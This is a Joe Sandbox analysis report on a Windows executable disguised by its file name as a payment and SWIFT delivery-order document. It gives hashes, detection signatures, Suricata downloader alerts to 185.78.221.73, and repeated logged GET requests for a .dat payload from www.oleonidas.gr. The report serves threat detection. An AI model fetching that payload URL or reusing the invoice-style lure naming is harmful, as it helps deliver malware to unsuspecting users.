Edit tour

Windows Analysis Report
FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Overview

General Information

Sample name:	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe
Analysis ID:	1561888
MD5:	5a7ac4c646f3e5e30942dafc5cc0fdc4
SHA1:	43f9aec0a0c6c11d3dc57375c4267940846303da
SHA256:	db335c92e784e782a0ca41766c2873f9be00aede8389a389f1e2c6219310d2fd
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Sample has a suspicious name (potential lure to open the executable)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Classification

Process Tree

System is w10x64

FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe (PID: 3504 cmdline: "C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe" MD5: 5A7AC4C646F3E5E30942DAFC5CC0FDC4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T16:39:51.401075+0100	2803305	3	Unknown Traffic	192.168.2.5	49705	185.78.221.73	443	TCP
2024-11-24T16:39:53.540559+0100	2803305	3	Unknown Traffic	192.168.2.5	49706	185.78.221.73	443	TCP
2024-11-24T16:39:55.666338+0100	2803305	3	Unknown Traffic	192.168.2.5	49707	185.78.221.73	443	TCP
2024-11-24T16:39:57.728782+0100	2803305	3	Unknown Traffic	192.168.2.5	49708	185.78.221.73	443	TCP
2024-11-24T16:39:59.871514+0100	2803305	3	Unknown Traffic	192.168.2.5	49709	185.78.221.73	443	TCP
2024-11-24T16:40:02.304994+0100	2803305	3	Unknown Traffic	192.168.2.5	49710	185.78.221.73	443	TCP
2024-11-24T16:40:04.421654+0100	2803305	3	Unknown Traffic	192.168.2.5	49712	185.78.221.73	443	TCP
2024-11-24T16:40:06.534889+0100	2803305	3	Unknown Traffic	192.168.2.5	49716	185.78.221.73	443	TCP
2024-11-24T16:40:08.720246+0100	2803305	3	Unknown Traffic	192.168.2.5	49724	185.78.221.73	443	TCP
2024-11-24T16:40:11.069558+0100	2803305	3	Unknown Traffic	192.168.2.5	49731	185.78.221.73	443	TCP
2024-11-24T16:40:13.206878+0100	2803305	3	Unknown Traffic	192.168.2.5	49736	185.78.221.73	443	TCP
2024-11-24T16:40:15.295010+0100	2803305	3	Unknown Traffic	192.168.2.5	49739	185.78.221.73	443	TCP
2024-11-24T16:40:17.430133+0100	2803305	3	Unknown Traffic	192.168.2.5	49745	185.78.221.73	443	TCP
2024-11-24T16:40:19.603593+0100	2803305	3	Unknown Traffic	192.168.2.5	49750	185.78.221.73	443	TCP
2024-11-24T16:40:21.670966+0100	2803305	3	Unknown Traffic	192.168.2.5	49756	185.78.221.73	443	TCP
2024-11-24T16:40:23.741763+0100	2803305	3	Unknown Traffic	192.168.2.5	49762	185.78.221.73	443	TCP
2024-11-24T16:40:26.024965+0100	2803305	3	Unknown Traffic	192.168.2.5	49768	185.78.221.73	443	TCP
2024-11-24T16:40:28.135229+0100	2803305	3	Unknown Traffic	192.168.2.5	49774	185.78.221.73	443	TCP
2024-11-24T16:40:30.315272+0100	2803305	3	Unknown Traffic	192.168.2.5	49780	185.78.221.73	443	TCP
2024-11-24T16:40:32.414978+0100	2803305	3	Unknown Traffic	192.168.2.5	49786	185.78.221.73	443	TCP
2024-11-24T16:40:34.476180+0100	2803305	3	Unknown Traffic	192.168.2.5	49792	185.78.221.73	443	TCP
2024-11-24T16:40:36.687159+0100	2803305	3	Unknown Traffic	192.168.2.5	49798	185.78.221.73	443	TCP
2024-11-24T16:40:38.945230+0100	2803305	3	Unknown Traffic	192.168.2.5	49804	185.78.221.73	443	TCP
2024-11-24T16:40:41.043529+0100	2803305	3	Unknown Traffic	192.168.2.5	49810	185.78.221.73	443	TCP
2024-11-24T16:40:43.110786+0100	2803305	3	Unknown Traffic	192.168.2.5	49816	185.78.221.73	443	TCP
2024-11-24T16:40:45.283742+0100	2803305	3	Unknown Traffic	192.168.2.5	49821	185.78.221.73	443	TCP
2024-11-24T16:40:47.624713+0100	2803305	3	Unknown Traffic	192.168.2.5	49826	185.78.221.73	443	TCP
2024-11-24T16:40:49.858524+0100	2803305	3	Unknown Traffic	192.168.2.5	49832	185.78.221.73	443	TCP
2024-11-24T16:40:52.044746+0100	2803305	3	Unknown Traffic	192.168.2.5	49838	185.78.221.73	443	TCP
2024-11-24T16:40:54.206930+0100	2803305	3	Unknown Traffic	192.168.2.5	49843	185.78.221.73	443	TCP
2024-11-24T16:40:56.327948+0100	2803305	3	Unknown Traffic	192.168.2.5	49848	185.78.221.73	443	TCP
2024-11-24T16:40:58.397043+0100	2803305	3	Unknown Traffic	192.168.2.5	49854	185.78.221.73	443	TCP
2024-11-24T16:41:00.554109+0100	2803305	3	Unknown Traffic	192.168.2.5	49860	185.78.221.73	443	TCP
2024-11-24T16:41:02.668329+0100	2803305	3	Unknown Traffic	192.168.2.5	49866	185.78.221.73	443	TCP
2024-11-24T16:41:04.852015+0100	2803305	3	Unknown Traffic	192.168.2.5	49872	185.78.221.73	443	TCP
2024-11-24T16:41:06.998226+0100	2803305	3	Unknown Traffic	192.168.2.5	49878	185.78.221.73	443	TCP
2024-11-24T16:41:09.264556+0100	2803305	3	Unknown Traffic	192.168.2.5	49884	185.78.221.73	443	TCP
2024-11-24T16:41:11.413512+0100	2803305	3	Unknown Traffic	192.168.2.5	49890	185.78.221.73	443	TCP
2024-11-24T16:41:13.530498+0100	2803305	3	Unknown Traffic	192.168.2.5	49896	185.78.221.73	443	TCP
2024-11-24T16:41:15.896293+0100	2803305	3	Unknown Traffic	192.168.2.5	49903	185.78.221.73	443	TCP
2024-11-24T16:41:17.953399+0100	2803305	3	Unknown Traffic	192.168.2.5	49909	185.78.221.73	443	TCP
2024-11-24T16:41:20.021538+0100	2803305	3	Unknown Traffic	192.168.2.5	49915	185.78.221.73	443	TCP
2024-11-24T16:41:22.162128+0100	2803305	3	Unknown Traffic	192.168.2.5	49920	185.78.221.73	443	TCP
2024-11-24T16:41:24.293433+0100	2803305	3	Unknown Traffic	192.168.2.5	49926	185.78.221.73	443	TCP
2024-11-24T16:41:26.362624+0100	2803305	3	Unknown Traffic	192.168.2.5	49932	185.78.221.73	443	TCP
2024-11-24T16:41:27.999619+0100	2803305	3	Unknown Traffic	192.168.2.5	49936	185.78.221.73	443	TCP
2024-11-24T16:41:30.110523+0100	2803305	3	Unknown Traffic	192.168.2.5	49940	185.78.221.73	443	TCP
2024-11-24T16:41:32.250630+0100	2803305	3	Unknown Traffic	192.168.2.5	49946	185.78.221.73	443	TCP
2024-11-24T16:41:34.472517+0100	2803305	3	Unknown Traffic	192.168.2.5	49952	185.78.221.73	443	TCP
2024-11-24T16:41:36.605982+0100	2803305	3	Unknown Traffic	192.168.2.5	49958	185.78.221.73	443	TCP
2024-11-24T16:41:38.769614+0100	2803305	3	Unknown Traffic	192.168.2.5	49964	185.78.221.73	443	TCP
2024-11-24T16:41:40.993990+0100	2803305	3	Unknown Traffic	192.168.2.5	49970	185.78.221.73	443	TCP
2024-11-24T16:41:43.133043+0100	2803305	3	Unknown Traffic	192.168.2.5	49976	185.78.221.73	443	TCP
2024-11-24T16:41:45.321630+0100	2803305	3	Unknown Traffic	192.168.2.5	49982	185.78.221.73	443	TCP
2024-11-24T16:41:47.442439+0100	2803305	3	Unknown Traffic	192.168.2.5	49988	185.78.221.73	443	TCP
2024-11-24T16:41:49.312385+0100	2803305	3	Unknown Traffic	192.168.2.5	49994	185.78.221.73	443	TCP
2024-11-24T16:41:51.449963+0100	2803305	3	Unknown Traffic	192.168.2.5	49998	185.78.221.73	443	TCP
2024-11-24T16:41:53.730773+0100	2803305	3	Unknown Traffic	192.168.2.5	50003	185.78.221.73	443	TCP
2024-11-24T16:41:56.048697+0100	2803305	3	Unknown Traffic	192.168.2.5	50009	185.78.221.73	443	TCP
2024-11-24T16:41:58.317362+0100	2803305	3	Unknown Traffic	192.168.2.5	50016	185.78.221.73	443	TCP
2024-11-24T16:42:00.469968+0100	2803305	3	Unknown Traffic	192.168.2.5	50022	185.78.221.73	443	TCP
2024-11-24T16:42:02.618403+0100	2803305	3	Unknown Traffic	192.168.2.5	50027	185.78.221.73	443	TCP
2024-11-24T16:42:04.938503+0100	2803305	3	Unknown Traffic	192.168.2.5	50031	185.78.221.73	443	TCP
2024-11-24T16:42:06.998935+0100	2803305	3	Unknown Traffic	192.168.2.5	50037	185.78.221.73	443	TCP
2024-11-24T16:42:09.381897+0100	2803305	3	Unknown Traffic	192.168.2.5	50042	185.78.221.73	443	TCP
2024-11-24T16:42:11.527060+0100	2803305	3	Unknown Traffic	192.168.2.5	50043	185.78.221.73	443	TCP
2024-11-24T16:42:13.738065+0100	2803305	3	Unknown Traffic	192.168.2.5	50044	185.78.221.73	443	TCP
2024-11-24T16:42:15.920173+0100	2803305	3	Unknown Traffic	192.168.2.5	50045	185.78.221.73	443	TCP
2024-11-24T16:42:18.156721+0100	2803305	3	Unknown Traffic	192.168.2.5	50046	185.78.221.73	443	TCP
2024-11-24T16:42:20.341454+0100	2803305	3	Unknown Traffic	192.168.2.5	50047	185.78.221.73	443	TCP
2024-11-24T16:42:24.137871+0100	2803305	3	Unknown Traffic	192.168.2.5	50049	185.78.221.73	443	TCP
2024-11-24T16:42:26.254261+0100	2803305	3	Unknown Traffic	192.168.2.5	50050	185.78.221.73	443	TCP
2024-11-24T16:42:28.422217+0100	2803305	3	Unknown Traffic	192.168.2.5	50051	185.78.221.73	443	TCP
2024-11-24T16:42:30.601864+0100	2803305	3	Unknown Traffic	192.168.2.5	50052	185.78.221.73	443	TCP
2024-11-24T16:42:32.765753+0100	2803305	3	Unknown Traffic	192.168.2.5	50053	185.78.221.73	443	TCP
2024-11-24T16:42:34.893411+0100	2803305	3	Unknown Traffic	192.168.2.5	50054	185.78.221.73	443	TCP
2024-11-24T16:42:37.053039+0100	2803305	3	Unknown Traffic	192.168.2.5	50055	185.78.221.73	443	TCP
2024-11-24T16:42:39.192504+0100	2803305	3	Unknown Traffic	192.168.2.5	50056	185.78.221.73	443	TCP
2024-11-24T16:42:41.368963+0100	2803305	3	Unknown Traffic	192.168.2.5	50057	185.78.221.73	443	TCP
2024-11-24T16:42:43.580215+0100	2803305	3	Unknown Traffic	192.168.2.5	50058	185.78.221.73	443	TCP
2024-11-24T16:42:45.797063+0100	2803305	3	Unknown Traffic	192.168.2.5	50059	185.78.221.73	443	TCP
2024-11-24T16:42:48.089218+0100	2803305	3	Unknown Traffic	192.168.2.5	50060	185.78.221.73	443	TCP
2024-11-24T16:42:50.233762+0100	2803305	3	Unknown Traffic	192.168.2.5	50061	185.78.221.73	443	TCP
2024-11-24T16:42:53.796433+0100	2803305	3	Unknown Traffic	192.168.2.5	50063	185.78.221.73	443	TCP
2024-11-24T16:42:55.919626+0100	2803305	3	Unknown Traffic	192.168.2.5	50064	185.78.221.73	443	TCP
2024-11-24T16:42:58.095513+0100	2803305	3	Unknown Traffic	192.168.2.5	50065	185.78.221.73	443	TCP
2024-11-24T16:43:00.161050+0100	2803305	3	Unknown Traffic	192.168.2.5	50066	185.78.221.73	443	TCP
2024-11-24T16:43:02.254428+0100	2803305	3	Unknown Traffic	192.168.2.5	50067	185.78.221.73	443	TCP
2024-11-24T16:43:04.386264+0100	2803305	3	Unknown Traffic	192.168.2.5	50068	185.78.221.73	443	TCP
2024-11-24T16:43:06.824310+0100	2803305	3	Unknown Traffic	192.168.2.5	50069	185.78.221.73	443	TCP
2024-11-24T16:43:09.100708+0100	2803305	3	Unknown Traffic	192.168.2.5	50070	185.78.221.73	443	TCP
2024-11-24T16:43:11.315273+0100	2803305	3	Unknown Traffic	192.168.2.5	50071	185.78.221.73	443	TCP
2024-11-24T16:43:13.448915+0100	2803305	3	Unknown Traffic	192.168.2.5	50072	185.78.221.73	443	TCP
2024-11-24T16:43:15.528310+0100	2803305	3	Unknown Traffic	192.168.2.5	50073	185.78.221.73	443	TCP
2024-11-24T16:43:17.903102+0100	2803305	3	Unknown Traffic	192.168.2.5	50074	185.78.221.73	443	TCP
2024-11-24T16:43:19.979581+0100	2803305	3	Unknown Traffic	192.168.2.5	50075	185.78.221.73	443	TCP
2024-11-24T16:43:22.108915+0100	2803305	3	Unknown Traffic	192.168.2.5	50076	185.78.221.73	443	TCP
2024-11-24T16:43:23.718330+0100	2803305	3	Unknown Traffic	192.168.2.5	50077	185.78.221.73	443	TCP
2024-11-24T16:43:25.918313+0100	2803305	3	Unknown Traffic	192.168.2.5	50078	185.78.221.73	443	TCP
2024-11-24T16:43:28.191332+0100	2803305	3	Unknown Traffic	192.168.2.5	50080	185.78.221.73	443	TCP
2024-11-24T16:43:30.317205+0100	2803305	3	Unknown Traffic	192.168.2.5	50081	185.78.221.73	443	TCP
2024-11-24T16:43:32.447289+0100	2803305	3	Unknown Traffic	192.168.2.5	50082	185.78.221.73	443	TCP
2024-11-24T16:43:34.817272+0100	2803305	3	Unknown Traffic	192.168.2.5	50083	185.78.221.73	443	TCP
2024-11-24T16:43:36.893873+0100	2803305	3	Unknown Traffic	192.168.2.5	50084	185.78.221.73	443	TCP
2024-11-24T16:43:39.122457+0100	2803305	3	Unknown Traffic	192.168.2.5	50085	185.78.221.73	443	TCP
2024-11-24T16:43:41.195902+0100	2803305	3	Unknown Traffic	192.168.2.5	50086	185.78.221.73	443	TCP
2024-11-24T16:43:44.351884+0100	2803305	3	Unknown Traffic	192.168.2.5	50089	185.78.221.73	443	TCP
2024-11-24T16:43:46.539411+0100	2803305	3	Unknown Traffic	192.168.2.5	50090	185.78.221.73	443	TCP
2024-11-24T16:43:48.658880+0100	2803305	3	Unknown Traffic	192.168.2.5	50091	185.78.221.73	443	TCP
2024-11-24T16:43:50.910851+0100	2803305	3	Unknown Traffic	192.168.2.5	50092	185.78.221.73	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

ReversingLabs: Detection: 70%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Joe Sandbox ML: detected

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.5:50094 version: TLS 1.2

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.grConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr
Source: global traffic	HTTP traffic detected: GET /fang/Vvzcv.dat HTTP/1.1Host: www.oleonidas.gr

Source: Joe Sandbox View

IP Address: 185.78.221.73 185.78.221.73

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49724 -> 185.78.221.73:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49712 -> 185.78.221.73:443
